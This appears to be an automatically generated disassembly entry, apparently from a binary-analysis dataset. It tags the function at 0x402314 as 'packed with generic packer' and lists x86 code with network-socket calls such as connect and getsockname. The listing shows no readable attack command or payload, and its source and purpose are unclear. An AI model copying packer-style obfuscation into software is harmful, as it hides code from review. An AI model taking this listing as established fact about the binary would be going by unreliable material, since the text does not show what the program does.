Function at 0x402314
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
jmp 0x402359
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
fninit
push 0
xor eax, eax
call dword [0x41aae2]
nop
nop
cmp dword [0x41aa82], 0
je 0x4023c6
cmp dword [0x41aa86], 0
jne 0x4023c6
mov eax, 1
jmp 0x4023cb
mov eax, 0
test eax, eax
je 0x402419
push 0x80000301
push 0
push dword [0x41aa82]
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00402bde
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402411
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
jmp 0x402b88
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 1
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
je 0x402462
cmp dword [0x41aa8a], 0xffffffff
je 0x402462
xor eax, eax
jmp 0x402467
mov eax, 1
test eax, eax
je 0x4024b5
call fcn.00402d57
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40249d
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4024b1
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 2
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
je 0x4024fe
cmp dword [0x41aa8a], 0xffffffff
je 0x4024fe
xor eax, eax
jmp 0x402503
mov eax, 1
test eax, eax
je 0x402551
call fcn.00402e07
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402539
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40254d
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 4
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
je 0x40259a
cmp dword [0x41aa8a], 0xffffffff
je 0x40259a
xor eax, eax
jmp 0x40259f
mov eax, 1
test eax, eax
je 0x4025ed
call fcn.0040306b
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4025d5
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4025e9
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 8
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 8
je 0x402636
cmp dword [0x41aa8a], 0xffffffff
je 0x402636
xor eax, eax
jmp 0x40263b
mov eax, 1
test eax, eax
je 0x402689
call fcn.0040311e
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402671
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402685
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 0x10
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x10
je 0x4026d2
cmp dword [0x41aa8a], 0xffffffff
je 0x4026d2
xor eax, eax
jmp 0x4026d7
mov eax, 1
test eax, eax
je 0x40273f
call fcn.0040343a
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.00415840
add esp, 0x10
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402727
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40273b
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x20
je 0x402788
cmp dword [0x41aa8a], 0xffffffff
je 0x402788
xor eax, eax
jmp 0x40278d
mov eax, 1
test eax, eax
je 0x4027db
call fcn.00403492
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4027c3
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4027d7
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 0x40
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x40
je 0x402824
cmp dword [0x41aa8a], 0xffffffff
je 0x402824
xor eax, eax
jmp 0x402829
mov eax, 1
test eax, eax
je 0x402877
call fcn.00403bbe
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40285f
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402873
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x41aa8a]
push 0x80000301
push 0
push 0x80
push 2
mov ebx, 0xc4
call fcn.00415b20
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x80
je 0x4028c3
cmp dword [0x41aa8a], 0xffffffff
je 0x4028c3
xor eax, eax
jmp 0x4028c8
mov eax, 1
test eax, eax
je 0x40291a
push 1
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 8]
push eax
call fcn.00404d50
test eax, eax
je 0x40291a
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 3
call fcn.00401da9
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402916
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push dword [0x41aa8e]
push dword [ebp - 4]
mov ecx, 2
call fcn.00401da9
add esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402947
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40295e
mov eax, 0x41a23d
push eax
push 1
mov ebx, 0x130
call fcn.00415680
add esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4029ce
push 0x1388
push 0
push 0x10
push 0x41a4ae
push 0x41a4b9
push 0
xor eax, eax
call dword [0x41aae6]
nop
nop
push 0
call fcn.004142ac
add esp, 4
cmp dword [ebp - 0x10], 0
jne 0x4029ce
push 0
mov ebx, 0x350
call fcn.00415b40
add esp, 4
jmp 0x4029b0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4029e1
mov eax, 0x41a23d
push eax
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402a0b
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.004069c1
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402a2f
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00406a58
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x402a5f
call fcn.00406b53
mov dword [ebp - 0x1c], 0
push 0
push dword [ebp - 0x1c]
call fcn.0040701d
lea eax, [ebp - 0x18]
push eax
call fcn.004019ed
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 3
push getsockname
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x402a90
mov eax, 0x41a449
push eax
push 3
mov ebx, 0x19c
call fcn.00415cb0
add esp, 0x28
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], ecx
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402abc
push ebx
call fcn.004142ca
add esp, 4
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp ecx, 0x80000101
jne 0x402ad4
and eax, 0xff
jmp 0x402b29
cmp ecx, 0x80000201
jne 0x402adf
cwde
jmp 0x402b29
cmp ecx, 0x80000301
je 0x402b29
cmp ecx, 0x80000401
je 0x402b29
mov dword [ebp - 0x30], eax
cmp ecx, 0x80000501
je 0x402b19
cmp ecx, 0x80000601
je 0x402b1e
push 0xaa7
push 0x401060c
push 2
call fcn.004142d6
add esp, 0xc
fld dword [ebp - 0x30]
jmp 0x402b24
mov dword [ebp - 0x2c], edx
fld qword [ebp - 0x30]
call fcn.004020fb
mov dword [0x41aa82], eax
mov dword [0x41aa86], 0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x402b54
push eax
mov ebx, eax
call fcn.00401d3e
inc eax
push eax
call fcn.004142c4
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x402b88
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402b99
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402ba9
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402bb9
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402bc9
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402bd9
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret